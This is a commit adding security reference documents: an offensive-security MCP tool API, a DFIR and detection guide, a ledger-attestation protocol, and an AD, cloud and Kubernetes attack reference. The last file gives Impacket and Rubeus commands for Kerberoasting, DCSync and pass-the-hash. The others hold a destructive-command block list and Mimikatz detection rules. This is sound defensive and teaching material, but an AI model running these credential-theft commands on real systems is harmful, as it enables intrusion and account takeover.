Initial commit - combined iTerm2 scripts

Contains:
- 1m-brag
- tem
- VaultMesh_Catalog_v1
- VAULTMESH-ETERNAL-PATTERN

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
This commit is contained in:
Vault Sovereign
2025-12-28 03:58:39 +00:00
commit 1583890199
111 changed files with 36978 additions and 0 deletions

View File

@@ -0,0 +1,387 @@
# OFFSEC-MCP API Reference
**28 tools across 9 categories** — All invoked via MCP `tools/call` with `name` and `arguments`.
---
## 1. Proof Tools (3)
Cryptographic receipts for auditability.
### `proof_generate`
Generate cryptographic proof/receipt for an action.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `action` | string | Yes | Action being proven |
| `data` | object | No | Data to include in proof |
| `witnesses` | string[] | No | Required witnesses |
**Returns:** `{ proof_id, hash, timestamp, action, data }`
### `proof_verify`
Verify a proof/receipt.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `proof_id` | string | No | Proof ID to verify |
| `proof_data` | object | No | Raw proof data |
**Returns:** `{ valid: true/false, proof, reason }`
### `proof_anchor`
Anchor proof to blockchain (simulated).
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `proof_id` | string | Yes | Proof ID to anchor |
| `chain` | string | No | `btc`, `eth`, or `mesh` (default: mesh) |
**Returns:** `{ anchored: true, chain, tx_id }`
---
## 2. Mesh Tools (6)
Prometheus-backed infrastructure intelligence.
### `mesh_console_ping`
Check if VaultMesh/Prometheus is reachable.
**No parameters.** Returns: `{ reachable: true/false, endpoint, latency_ms }`
### `mesh_status`
Get full infrastructure status and health.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `include_health` | boolean | No | Include detailed health (default: true) |
**Returns:** `{ services: [...], healthy_count, unhealthy_count, overall_status }`
### `mesh_topology`
Get mesh network topology with health overlay.
**No parameters.** Returns: `{ nodes: [...], edges: [...], service_dependencies }`
### `mesh_alerts`
Get active alerts from mesh.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `severity` | string | No | `all`, `critical`, `warning`, `info` |
**Returns:** `{ alerts: [...], count, by_severity }`
### `mesh_backups`
Get backup status and freshness.
**No parameters.** Returns: `{ backups: [...], last_successful, any_failed }`
### `mesh_blast_radius`
Calculate blast radius for a service failure.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `service_id` | string | Yes | Service to analyze (`portal`, `postgres`, `minio`) |
**Returns:** `{ service_id, affected_services: [...], impact_level }`
---
## 3. Shield Tools (3)
Mesh-aware defensive monitoring.
### `shield_status`
Get defensive shield status with aggregated threat intelligence.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `include_mesh` | boolean | No | Include mesh alerts/health (default: true) |
| `include_history` | boolean | No | Include recent threat history (default: false) |
**Returns:** `{ overall_state, mesh_status, threats, monitors, backups }`
### `shield_monitor`
Configure threat monitoring for attack vectors.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `vectors` | string[] | No | `network`, `wifi`, `bluetooth`, `usb`, `process`, `file`, `mesh` |
| `sensitivity` | string | No | `low`, `medium`, `high`, `paranoid` |
| `duration` | number | No | Seconds (0 = indefinite) |
**Returns:** `{ monitoring: true, vectors, sensitivity, expires_at }`
### `shield_respond`
Configure automatic response rules.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `threat_type` | string | Yes | `network_scan`, `mesh_alert`, `process_anomaly` |
| `response` | string | Yes | `log`, `alert`, `block`, `isolate`, `counter`, `trigger_agent` |
| `auto_execute` | boolean | No | Execute without confirmation |
| `notify_mesh` | boolean | No | Broadcast to mesh network |
**Returns:** `{ rule_id, threat_type, response, active: true }`
---
## 4. Tactical Tools (3)
Controlled command execution and playbooks.
### `tactical_execute`
Execute command with risk analysis and optional safe mode.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `command` | string | Yes | Command to execute |
| `explain` | boolean | No | Explain before execution (default: true) |
| `safe_mode` | boolean | No | Require confirmation for dangerous (default: true) |
| `timeout` | number | No | Timeout in ms (default: 60000) |
**Returns:** `{ command, risk_level, output, stderr, exit_code, proof_id }`
**Blocked in safe_mode:** `rm -rf /`, `dd if=/dev/zero`, `mkfs`, fork bombs
### `tactical_playbook`
Execute a structured sequence of tool calls.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `playbook` | string | Yes | Playbook name or path |
| `variables` | object | No | Variables for playbook |
| `dry_run` | boolean | No | Show without executing (default: false) |
**Built-in:** `quick-recon`, `network-scan`, `mesh-health-check`, `defensive-posture`
**Returns:** `{ playbook, steps: [...], results: [...], overall_success }`
### `tactical_learn`
Record command outcome for future AI suggestions.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `command` | string | Yes | Command that was executed |
| `context` | string | No | Why this command was useful |
| `outcome` | string | Yes | `success`, `partial`, `failed`, `learned` |
| `tags` | string[] | No | Tags for categorization |
**Returns:** `{ learned: true, command, proof_id }`
---
## 5. Oracle Tools (2)
LLM-backed reasoning with deterministic fallback.
### `oracle_reason`
Analyze situation and recommend actions.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `context` | string | Yes | Situation to reason about |
| `constraints` | string[] | No | Rules to follow |
| `objective` | string | No | Primary goal |
**Returns:** `{ reasoning: { analysis, recommendations: [...], confidence }, proof_id }`
### `oracle_decide`
Make decision based on options and risk tolerance.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `situation` | string | Yes | Situation requiring decision |
| `options` | string[] | Yes | Available options |
| `risk_tolerance` | string | No | `minimal`, `low`, `medium`, `high`, `maximum` |
**Returns:** `{ decision: { selected, reasoning, confidence }, proof_id }`
---
## 6. Chain Tools (1)
End-to-end orchestration pipeline.
### `oracle_tactical_chain`
Full "reason → decide → act" chain with cryptographic proof.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `context` | string | Yes | Situation to analyze |
| `constraints` | string[] | No | Oracle constraints |
| `objective` | string | No | Goal |
| `options` | string[] | No | Decision options (defaults provided) |
| `playbook` | string | No | Playbook if action selected |
| `risk_tolerance` | string | No | Risk level (default: `low`) |
| `dry_run` | boolean | No | Plan only (default: `true`) |
**Returns:**
```json
{
"chain_id": "chain-...",
"reasoning": { "summary": "...", "confidence": 0.8 },
"decision": { "selected": "Run diagnostic", "risk_tolerance": "low" },
"tactical_plan": { "type": "playbook", "executed": false },
"proofs": { "reason": "...", "decide": "...", "chain": "..." }
}
```
---
## 7. Recon Tools (3)
Reconnaissance with guardrails and proof trails.
### `recon_passive`
Passive reconnaissance - no target interaction.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `target` | string | Yes | Domain, IP, or org identifier |
| `modules` | string[] | No | `dns`, `whois`, `certs`, `all` |
**Returns:** `{ type: "passive", target, findings: { dns, whois, certs }, proof_id }`
### `recon_active`
Active reconnaissance - requires authorization.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `target` | string | Yes | IP, domain, or range |
| `scan_type` | string | No | `ports`, `services`, `vuln`, `full` |
| `authorization` | string | Yes | Auth reference (ticket, contract ID) |
| `execute` | boolean | No | Actually run (default: `false` = prepare only) |
**Returns:** `{ type: "active", target, status, command, output (if executed), proof_id }`
### `recon_wifi`
WiFi reconnaissance - environment-aware.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `interface` | string | No | Wireless interface (auto-detected) |
| `mode` | string | No | `scan`, `monitor`, `deauth_detect`, `rogue_detect` |
| `duration` | number | No | Duration in seconds |
**Returns:** `{ type: "wifi", environment: { isTermux, isNetHunter }, findings: { networks }, proof_id }`
---
## 8. Agent Tools (5)
Autonomous background tasks and config management.
### `agent_task`
Create autonomous task with triggers.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `name` | string | Yes | Task name |
| `trigger` | object | Yes | `{ type, interval }` |
| `trigger.type` | string | Yes | `schedule`, `event`, `condition`, `mesh`, `once` |
| `trigger.interval` | number | No | Interval in seconds (for schedule) |
| `actions` | array | Yes | Array of `{ tool, args }` |
| `on_complete` | string | No | `notify`, `mesh_broadcast`, `log`, `chain`, `none` |
| `max_runs` | number | No | Max executions (0 = unlimited) |
**Returns:** `{ success: true, task: {...}, proof_id }`
### `agent_list`
List agent tasks by status.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `status` | string | No | `all`, `active`, `pending`, `completed`, `cancelled`, `disabled` |
**Returns:** `{ count, tasks: [...], stats: { total_tasks, active, pending } }`
### `agent_cancel`
Cancel an active task.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `task_id` | string | Yes | Task ID to cancel |
**Returns:** `{ success: true, task: {...}, proof_id }`
### `agent_reload_configs`
Reload agent configs from `configs/agents/*.yaml`.
**No parameters.** Returns: `{ success: true, config_dir, tasks_loaded: [...], count }`
### `agent_config_toggle`
Enable/disable config-sourced agent at runtime.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `name` | string | Yes | Agent name |
| `enabled` | boolean | Yes | Enable or disable |
| `persist` | boolean | No | Write to YAML file (default: false) |
**Returns:** `{ success: true, name, previous_status, new_status, persisted, proof_id }`
---
## 9. Mobile Tools (2)
Termux/NetHunter body awareness.
### `mobile_status`
Get device status including battery, WiFi, network, VPN.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `include` | string[] | No | `battery`, `wifi`, `network`, `vpn`, `location`, `sensors`, `all` |
**Returns:**
```json
{
"environment": { "isTermux": true, "isNetHunter": false, "platform": "android" },
"data": {
"battery": { "percentage": 85, "status": "DISCHARGING" },
"wifi": { "ssid": "Home", "rssi": -65 },
"vpn": { "tailscale": { "connected": true }, "any_connected": true }
},
"assessment": { "status": "healthy", "issues": [], "recommendations": [] },
"proof_id": "..."
}
```
### `mobile_execute`
Execute mobile-specific command with safety guardrails.
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `command` | string | Yes | Command to execute |
| `background` | boolean | No | Run in background (default: false) |
| `timeout` | number | No | Timeout in ms (default: 30000) |
**Blocked:** `rm -rf /`, `dd if=/dev/zero`, `mkfs`, fork bombs
**Returns:** `{ command, risk_level, success, output, proof_id }`
---
## Proof Trail Actions
Every significant tool call emits a cryptographic proof:
| Action Pattern | Tool |
|----------------|------|
| `proof:generate` | proof_generate |
| `mesh:status` | mesh_status |
| `shield:status` | shield_status |
| `tactical:execute` | tactical_execute |
| `oracle:reason` | oracle_reason |
| `oracle:decide` | oracle_decide |
| `chain:oracle_tactical_chain` | oracle_tactical_chain |
| `recon:passive` | recon_passive |
| `recon:active` | recon_active |
| `agent:task:create` | agent_task |
| `agent:config:load` | agent_reload_configs |
| `mobile:status` | mobile_status |
Access proof log via MCP resource: `sovereign://proofs/log`

View File

@@ -0,0 +1,363 @@
# Blue Team Operations Reference
DFIR methodologies, Sigma rules, detection engineering, and forensic analysis.
## NIST SP 800-61r3 + CSF 2.0 Framework
| Function | IR Activities |
|----------|---------------|
| **Govern** | IR policies, roles, governance structures |
| **Identify** | Asset inventory, risk assessment, incident types |
| **Protect** | Safeguards, communication protocols, forensic readiness |
| **Detect** | Monitor, anomaly detection, alert triage |
| **Respond** | Containment, eradication, evidence collection |
| **Recover** | Restore capabilities, lessons learned |
### SANS PICERL Lifecycle
1. **Preparation** — Plans, tools, training
2. **Identification** — Detect and validate
3. **Containment** — Limit damage
4. **Eradication** — Remove threat
5. **Recovery** — Restore operations
6. **Lessons Learned** — Improve
## Chain of Custody
### Requirements
1. Document who collected evidence, when, where
2. Record every transfer of custody
3. Store in tamper-evident containers
4. Use cryptographic hashes (SHA-256)
5. Maintain detailed logs
6. Train personnel on procedures
**Standards:** ISO/IEC 27037:2012, NIST SP 800-86
## Memory Forensics
### Volatility 3 (Python 3)
```bash
# Install
pip install volatility3
# Basic analysis
vol -f memory.raw windows.info
vol -f memory.raw windows.pslist
vol -f memory.raw windows.psscan
vol -f memory.raw windows.netscan
vol -f memory.raw windows.malfind
vol -f memory.raw windows.dlllist
vol -f memory.raw windows.handles
vol -f memory.raw windows.cmdline
vol -f memory.raw windows.filescan
```
### Key Plugins
| Plugin | Purpose |
|--------|---------|
| `windows.pslist` | Active processes via kernel list |
| `windows.psscan` | Find hidden/terminated processes |
| `windows.netscan` | Network connections and sockets |
| `windows.malfind` | Detect code injection |
| `windows.dlllist` | Loaded DLLs per process |
| `windows.handles` | Open handles (files, registry, mutexes) |
| `windows.cmdline` | Command line arguments |
| `windows.hashdump` | Extract password hashes |
### Acquisition Tools
- **DumpIt / WinPMEM** — Windows memory acquisition
- **LiME** — Linux kernel module acquisition
- **AVML** — Rust-based Linux acquisition
- **Belkasoft RAM Capturer** — Bypass anti-dumping
## Disk Forensics
### Tool Comparison
| Tool | Best For | License |
|------|----------|---------|
| Autopsy | Open-source, budget teams | Free |
| EnCase | Law enforcement, court-proven | Commercial |
| FTK | High-volume, email focus | Commercial |
| FTK Imager | Evidence acquisition | Free |
| X-Ways | Portable, power users | Commercial |
### Autopsy Workflow
```bash
# Install
sudo apt install autopsy
# Start
autopsy
# Navigate to http://localhost:9999/autopsy
```
### Sleuth Kit Commands
```bash
# Image info
img_stat image.dd
# File system info
fsstat -o 2048 image.dd
# List files
fls -o 2048 image.dd
# File recovery
icat -o 2048 image.dd <inode> > recovered_file
# Timeline
fls -m "/" -r image.dd > body.txt
mactime -b body.txt > timeline.csv
```
## Velociraptor & KAPE
### Velociraptor
```yaml
# VQL Query Example - Find suspicious processes
SELECT Pid, Name, Exe, CommandLine, CreateTime
FROM pslist()
WHERE Name =~ "powershell|cmd|wscript|cscript"
AND CommandLine =~ "-enc|-e |-nop|-w hidden"
```
### KAPE
```bash
# Triage collection
kape.exe --tsource C: --tdest E:\Collection --target KapeTriage
# With processing
kape.exe --tsource C: --tdest E:\Collection --target KapeTriage --mdest E:\Processed --module !EZParser
```
### KAPE Targets
- `KapeTriage` — Comprehensive Windows triage
- `RegistryHives` — All registry hives
- `EventLogs` — Windows event logs
- `WebBrowsers` — Browser artifacts
- `Antivirus` — AV logs and quarantine
## Sigma Rules
### Rule Structure
```yaml
title: LSASS Memory Dump via Procdump
id: e1a6c9c7-8c8d-4b5c-9a2e-1234567890ab
status: stable
description: Detects LSASS memory dumping using Procdump
references:
- https://attack.mitre.org/techniques/T1003/001/
author: Security Analyst
date: 2024/11/29
tags:
- attack.credential_access
- attack.t1003.001
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\procdump.exe'
CommandLine|contains: 'lsass'
condition: selection
falsepositives:
- Legitimate troubleshooting
level: high
```
### Sigma CLI
```bash
# Install
pip install sigma-cli pysigma-backend-splunk pysigma-backend-elasticsearch
# Convert to Splunk SPL
sigma convert -t splunk -p sysmon rule.yml
# Convert to Elastic/Lucene
sigma convert -t lucene -p ecs_windows rule.yml
# Batch convert to Elastic Security
sigma convert -t lucene -p ecs_windows -f siem_rule_ndjson ./rules/ -o rules.ndjson
```
### Common Detection Patterns
#### Credential Access
```yaml
title: Mimikatz Sekurlsa
detection:
selection:
CommandLine|contains:
- 'sekurlsa::'
- 'kerberos::'
- 'lsadump::'
condition: selection
```
#### PowerShell Download
```yaml
title: PowerShell Download Cradle
detection:
selection:
CommandLine|contains:
- 'DownloadString'
- 'DownloadFile'
- 'IEX'
- 'Invoke-Expression'
condition: selection
```
#### Scheduled Task Creation
```yaml
title: Suspicious Scheduled Task
detection:
selection:
Image|endswith: '\schtasks.exe'
CommandLine|contains:
- '/create'
filter:
User|contains: 'SYSTEM'
condition: selection and not filter
```
## Critical Windows Event IDs
| Event ID | Category | Description |
|----------|----------|-------------|
| 4624 | Logon | Successful logon (check LogonType) |
| 4625 | Logon | Failed logon |
| 4672 | Logon | Special privileges assigned |
| 4688 | Process | Process creation (enable command line logging) |
| 4697 | Service | Service installed |
| 4698 | Task | Scheduled task created |
| 4720 | Account | User account created |
| 4732 | Group | Member added to local group |
| 5140 | Share | Network share accessed |
| 7045 | Service | Service installed (System log) |
### Logon Types (Event 4624)
| Type | Description |
|------|-------------|
| 2 | Interactive (local) |
| 3 | Network (SMB, etc.) |
| 4 | Batch (scheduled tasks) |
| 5 | Service |
| 7 | Unlock |
| 10 | RemoteInteractive (RDP) |
| 11 | CachedInteractive |
## Threat Hunting with ATT&CK
### Methodology
1. **Develop Hypothesis** — Based on threat intel and risk
2. **Determine Data** — Identify required log sources
3. **Build Analytics** — Create detection queries
4. **Execute Hunt** — Search historical/real-time data
5. **Validate Findings** — Distinguish true/false positives
6. **Document** — Convert to automated detections
### Key Resources
- **ATT&CK Navigator** — Visualize coverage
- **MITRE CAR** — Detection analytics repository
- **Atomic Red Team** — Technique test scripts
- **CALDERA** — Automated adversary emulation
## Timeline Analysis
### Plaso/log2timeline
```bash
# Create timeline
log2timeline.py --storage-file timeline.plaso image.dd
# Filter and output
psort.py -o dynamic -w timeline.csv timeline.plaso
```
### Timesketch
Web-based collaborative timeline analysis:
- Import Plaso timelines
- Search and filter events
- Add annotations and tags
- Share with team
## YARA Rules
### Rule Structure
```yara
rule Mimikatz_Memory {
meta:
description = "Detects Mimikatz in memory"
author = "Security Analyst"
reference = "https://github.com/gentilkiwi/mimikatz"
strings:
$s1 = "sekurlsa" ascii wide
$s2 = "kerberos" ascii wide
$s3 = "gentilkiwi" ascii wide
$s4 = "Benjamin DELPY" ascii wide
condition:
2 of them
}
```
### Usage
```bash
# Scan file
yara rules.yar suspicious_file.exe
# Scan directory
yara -r rules.yar /path/to/scan/
# With Volatility
vol -f memory.raw windows.yarascan --yara-rules="Mimikatz_Memory"
```
## Quick Reference Commands
### Windows
```powershell
# Running processes
Get-Process | Select-Object Id, ProcessName, Path, CommandLine
# Network connections
Get-NetTCPConnection | Where-Object State -eq 'Established'
# Recent files
Get-ChildItem -Path C:\Users -Recurse -Force | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-1)}
# Scheduled tasks
Get-ScheduledTask | Where-Object State -eq 'Ready'
# Services
Get-Service | Where-Object StartType -eq 'Automatic'
# Event logs
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} -MaxEvents 100
```
### Linux
```bash
# Running processes
ps auxf
# Network connections
ss -tulpn
netstat -tulpn
# Recent files
find / -mtime -1 -type f 2>/dev/null
# Cron jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
# Auth logs
grep "Accepted\|Failed" /var/log/auth.log
# Login history
last -a
lastlog
```

View File

@@ -0,0 +1,319 @@
# Braid Mode Reference
Mutual attestation protocol between Shield (OFFSEC-MCP) and VaultMesh.
---
## 1. Protocol Overview
Each system periodically imports the other's Merkle root and embeds it in `ROOT.txt`:
```
Shield VaultMesh
│ │
│── import VaultMesh root ──────►│
│ │
│◄────── import Shield root ─────│
│ │
▼ ▼
ROOT.txt: ROOT.txt:
## Foreign Roots ## Foreign Roots
foreign_system: vaultmesh foreign_system: shield
```
**Key property:** To lie about one ledger's past, an attacker must rewrite **both** ledgers (and external anchors).
---
## 2. Foreign Root Schema (v1.0)
### Canonical Fields
| Field | Type | Description |
|-------|------|-------------|
| `ledger_name` | string | Logical name (`vaultmesh`, `shield`) |
| `source_node_id` | string | ID from foreign node |
| `root_hex` | string | 64-char hex SHA256 Merkle root |
| `source_ts` | string | RFC3339 timestamp from foreign |
| `proof_count` | integer | Total proofs at foreign root |
| `captured_at` | string | Local RFC3339 timestamp |
| `proof_id` | string | Local proof ID for import |
| `schema_version` | string | Currently `"1.0"` |
| `source_url` | string | Foreign `/api/root` URL |
### ROOT.txt Section
```text
## Foreign Roots
foreign_roots_schema: 1.0
braid_mode: enabled
### vaultmesh
foreign_system: vaultmesh
foreign_node_id: vm-node-1
foreign_root_hex: a1b2c3d4e5f6...
foreign_root_ts: 2025-11-30T17:45:00.000Z
foreign_proof_count: 142
captured_at: 2025-11-30T17:50:00.000Z
capture_proof_id: proof-abc123
```
---
## 3. Braid Invariants
### Invariant A — Monotonic Foreign Time
For each `(ledger_name, source_node_id)`:
```
source_ts(n+1) > source_ts(n)
```
Violation → `ROOT_REGRESSION`
### Invariant B — Non-decreasing Proof Count
For each `(ledger_name, source_node_id)`:
```
proof_count(n+1) >= proof_count(n)
```
Violation → `PROOF_COUNT_REGRESSION`
### Invariant C — Append-Only Local Log
- No deletion of braid entries
- No rewriting historical records
- Corrections are new entries with `kind: "rejected"`
### Invariant D — Identity Stability
- Change in `source_node_id``IDENTITY_SHIFT`
- Must be handled via policy, not silently accepted
---
## 4. Braid States
| State | Description |
|-------|-------------|
| **none** | No foreign roots captured |
| **one_way** | Only one side has captured |
| **bidirectional** | Both captured at least one root |
| **verified** | Bidirectional + no regressions + anchors match |
| **closed** | Each ROOT.txt referenced in other's history (loop) |
---
## 5. Incident Classes
### ROOT_REGRESSION (CRITICAL)
**Trigger:** Foreign `source_ts` decreased
**Signals:**
- BraidStore: `status: "rejected"`, `warnings: ["ROOT_REGRESSION"]`
- `braid-check` reports regression
**Impact:** Possible rollback, fork, or tampering on foreign side
### PROOF_COUNT_REGRESSION (CRITICAL)
**Trigger:** Foreign `proof_count` decreased
**Signals:** Same as above with `"PROOF_COUNT_REGRESSION"` in warnings
**Impact:** History truncation or rewrite on foreign side
### SCHEMA_INVALID (WARNING)
**Trigger:** Malformed foreign payload (missing fields, bad format)
**Signals:** Import error, `status: "rejected"`, `"SCHEMA_INVALID"` warning
**Impact:** Incompatible or misconfigured foreign node
### NETWORK_ERROR (WARNING → CRITICAL)
**Trigger:** Fetch failure (timeout, refused, TLS/DNS errors)
**Signals:** Import throws, `"NETWORK_ERROR"` warning
**Impact:** Degraded freshness; CRITICAL if sustained
### IDENTITY_SHIFT (CRITICAL)
**Trigger:** Foreign `node_id` differs from previous
**Signals:** `"IDENTITY_SHIFT"` warning
**Impact:** Node re-provisioned, restored, or compromised
### CLOCK_DRIFT_SUSPECT / CLOCK_DRIFT_SEVERE (WARNING / CRITICAL)
**Trigger:** Foreign timestamps deviate from wall-clock
**Impact:** Braid ordering may not reflect real-world order
### ANCHOR_DIVERGENCE (CRITICAL)
**Trigger:** External anchors don't match internal roots
**Impact:** Post-anchor tampering or misconfiguration
### FLOOD_SUSPECT (INFO/WARNING)
**Trigger:** Repeated identical or trivial updates
**Impact:** Noise, resource waste, possible abusive peer
---
## 6. Incident Runbooks
### ROOT_REGRESSION Runbook
1. **Confirm** — Run `npm run braid:check`, inspect BraidStore
2. **Freeze trust** — Do not treat newer foreign roots as authoritative
3. **Cross-check** — Verify external anchors if any
4. **Coordinate** — Send to foreign operator:
- Last good root (timestamp, proof_count)
- Regressed root and evidence
5. **Document** — Open incident with braid IDs and timeline
6. **Resume** — Only when foreign stabilizes with `source_ts > last_good_ts` AND `proof_count >= last_good_count`
### PROOF_COUNT_REGRESSION Runbook
Same as ROOT_REGRESSION — strong signal of data loss or truncation.
### SCHEMA_INVALID Runbook
1. Fetch foreign `/api/root` manually
2. Identify missing/invalid fields
3. Mark foreign incompatible
4. Open issue to align `schema_version`
5. Reject until fixed
### NETWORK_ERROR Runbook
1. Check local network (DNS, firewall, routing)
2. Verify foreign node reachable
3. Short outages: log, auto-retry
4. Long outages: escalate as CRITICAL
### IDENTITY_SHIFT Runbook
1. Confirm `source_node_id` differs
2. Ask: Planned re-provisioning or unexpected?
3. If planned: treat as new ledger, preserve old history
4. If unplanned: freeze trust, investigate
5. Document decision
---
## 7. API Contracts
### Shield `/api/root`
```json
{
"nodeId": "offsec-mcp-genesis",
"root_hash": "7ad7c892...",
"batch_id": "batch-...",
"proof_count": 142,
"root_txt_sha256": "632904d2...",
"ts": "2025-11-30T17:50:45.362Z"
}
```
### VaultMesh `/api/proof/root`
```json
{
"schema_version": "1.0",
"node_id": "vaultmesh-node-1",
"root_hex": "46b3d021...",
"ts": "2025-11-30T17:50:45.362Z",
"proofchain_id": "proofchain:2025-11-30",
"root_file": "receipts/ROOT.txt",
"proof_count": 142
}
```
---
## 8. BraidStore Record Structure
```json
{
"id": "braid-<timestamp>-<random>",
"ledger_name": "vaultmesh",
"root_hex": "<64-hex>",
"source_node_id": "vaultmesh-node-1",
"source_ts": "2025-11-30T17:45:00.000Z",
"source_url": "http://vaultmesh:9110/api/root",
"proof_count": 142,
"captured_at": "2025-11-30T17:50:00.000Z",
"proof_id": "proof-abc123",
"schema_version": "1.0",
"kind": "import", // import | repeat | rejected
"status": "ok", // ok | warning | rejected
"warnings": [],
"parent_braid_id": null,
"local_root_hex_at_import": "<ShieldRootAtCapture>",
"local_receipt_index": 123,
"created_at": "2025-11-30T17:50:00.000Z"
}
```
---
## 9. Braid Hash Computation
```
BRAID_HASH = SHA256( L_root || F_root || captured_at )
```
Where:
- `L_root` — local Merkle root at capture
- `F_root` — foreign root imported
- `captured_at` — RFC3339 timestamp
---
## 10. Chaos Drills
### Drill A — Happy Path
1. Start mock: `npm run mock:vaultmesh`
2. Import: `proof_braid_import` with normal URL
3. Validate: `npm run braid:check` → "no issues"
4. Check ROOT.txt has `## Foreign Roots` section
### Drill B — Regression Attack
1. First import from `?mode=normal`
2. Second import from `?mode=regress`
3. Validate: `npm run braid:check` → reports issues
4. Inspect: BraidStore shows `status: "rejected"`, warnings
### Drill B+ — Recovery
5. Import normal again
6. Latest entry should have `status: "ok"`, greater timestamps
---
## 11. Agent Automation
```yaml
name: braid_sync
trigger:
type: schedule
interval_seconds: 300
actions:
- tool: proof_braid_import
args: {url: "${vaultmesh_url}", ledger_name: "vaultmesh"}
- tool: proof_braid_emit
args: {target_ledger: "vaultmesh"}
- tool: proof_root
args: {}
on_complete: log
enabled: false
```
### Safety Rails
- **Allowed hosts:** Validate URLs against allow-list
- **Minimum interval:** Enforce ≥60 seconds
- **No auto-healing:** Agent must not rewrite or delete entries
---
## 12. Verification
### One-Way Braid Verification
1. Obtain A's ROOT.txt and Merkle root
2. Parse `## Foreign Roots`, find B's entry
3. Fetch proof by `capture_proof_id`
4. Verify proof inclusion in Merkle tree
### Bidirectional Verification
1. Verify A→B (as above)
2. Verify B→A (symmetric)
3. Confirm no invariant violations
### Closed Braid Verification
1. Verify both imports
2. Confirm ordering (t0 < t1 < t2)
3. Each root appears in other's history
---
## 13. External Anchoring
Braid + external anchors (BTC/OTS, ETH) strengthen guarantees:
1. A's root anchored externally
2. B imports A's root
3. Tampering requires rewriting both logs + external anchors
Verify anchors via `proof_anchor_verify` or anchor-specific tools.

View File

@@ -0,0 +1,398 @@
# Specialized Security Domains Reference
Domain-specific techniques for AD, Cloud, K8s, Mobile, Wireless, OT/ICS, and API security.
## Active Directory Security
### Attack Techniques
| Attack | Description | Tools | ATT&CK |
|--------|-------------|-------|--------|
| Kerberoasting | Crack TGS tickets for SPNs | GetUserSPNs.py, Rubeus | T1558.003 |
| AS-REP Roasting | Target accounts without pre-auth | GetNPUsers.py, Rubeus | T1558.004 |
| Pass-the-Hash | Auth with NTLM hash | Mimikatz, Impacket | T1550.002 |
| Pass-the-Ticket | Inject stolen Kerberos tickets | Rubeus, Mimikatz | T1550.003 |
| DCSync | Simulate DC replication | secretsdump.py, Mimikatz | T1003.006 |
| NTLM Relay | Relay captured NTLM auth | ntlmrelayx.py, Responder | T1557.001 |
| Golden Ticket | Forge TGT with KRBTGT hash | Mimikatz, ticketer.py | T1558.001 |
| Silver Ticket | Forge TGS for specific service | Mimikatz, Rubeus | T1558.002 |
### BloodHound
```bash
# Collect data
SharpHound.exe -c All
bloodhound-python -d domain.local -u user -p pass -c All
# Neo4j + BloodHound GUI
neo4j console
bloodhound
```
### Key Queries
- Shortest Path to Domain Admin
- Find Kerberoastable Users
- Unconstrained Delegation Computers
- GPO Abuse Paths
- High Value Targets
### Impacket
```bash
# Kerberoasting
GetUserSPNs.py domain.local/user:pass -request -outputfile hashes.txt
# AS-REP Roasting
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat
# DCSync
secretsdump.py domain.local/admin:pass@dc.domain.local
# Pass-the-Hash
psexec.py domain.local/admin@target -hashes :NTLM_HASH
wmiexec.py domain.local/admin@target -hashes :NTLM_HASH
```
### Rubeus (Windows)
```powershell
# Kerberoasting
Rubeus.exe kerberoast /outfile:hashes.txt
# AS-REP Roasting
Rubeus.exe asreproast /format:hashcat
# Pass-the-Ticket
Rubeus.exe ptt /ticket:ticket.kirbi
# Request TGT
Rubeus.exe asktgt /user:admin /password:pass
```
## Cloud Security
### AWS Security
#### Common Misconfigurations
- S3 buckets with public access
- Overly permissive IAM policies
- Unencrypted EBS volumes
- Security groups with 0.0.0.0/0
- CloudTrail disabled
#### Tools
```bash
# ScoutSuite - Multi-cloud audit
scout aws
# Prowler - AWS CIS benchmark
prowler
# Pacu - AWS exploitation
pacu
> import_keys
> run iam__enum_users_roles_policies_groups
> run iam__privesc_scan
```
### Azure Security
#### Enumeration
```bash
# ROADtools
roadrecon auth -u user@tenant.onmicrosoft.com -p pass
roadrecon gather
roadrecon gui
# AzureHound (BloodHound)
azurehound -u user@tenant.com -p pass list
```
#### Common Attacks
- App registration abuse
- Managed identity privilege escalation
- Storage account key access
- KeyVault secret extraction
### GCP Security
#### Enumeration
```bash
# GCP IAM enumeration
gcloud projects list
gcloud iam service-accounts list
gcloud compute instances list
# ScoutSuite
scout gcp
```
## Container & Kubernetes Security
### Container Escape Techniques
| Technique | Description | Detection |
|-----------|-------------|-----------|
| Privileged Container | Full host access | Pod security policies |
| hostPID/hostNetwork | Namespace sharing | Admission controllers |
| Mounted /var/run/docker.sock | Docker API access | Falco rules |
| Kernel exploits | CVE-based escapes | Patching, runtime security |
| Writable hostPath | Host filesystem access | PSP/PSA |
### Kubernetes Attack Tools
```bash
# Kube-hunter - Penetration testing
kube-hunter --remote <cluster>
# Kubeaudit - Security audit
kubeaudit all
# Peirates - K8s pentesting
peirates
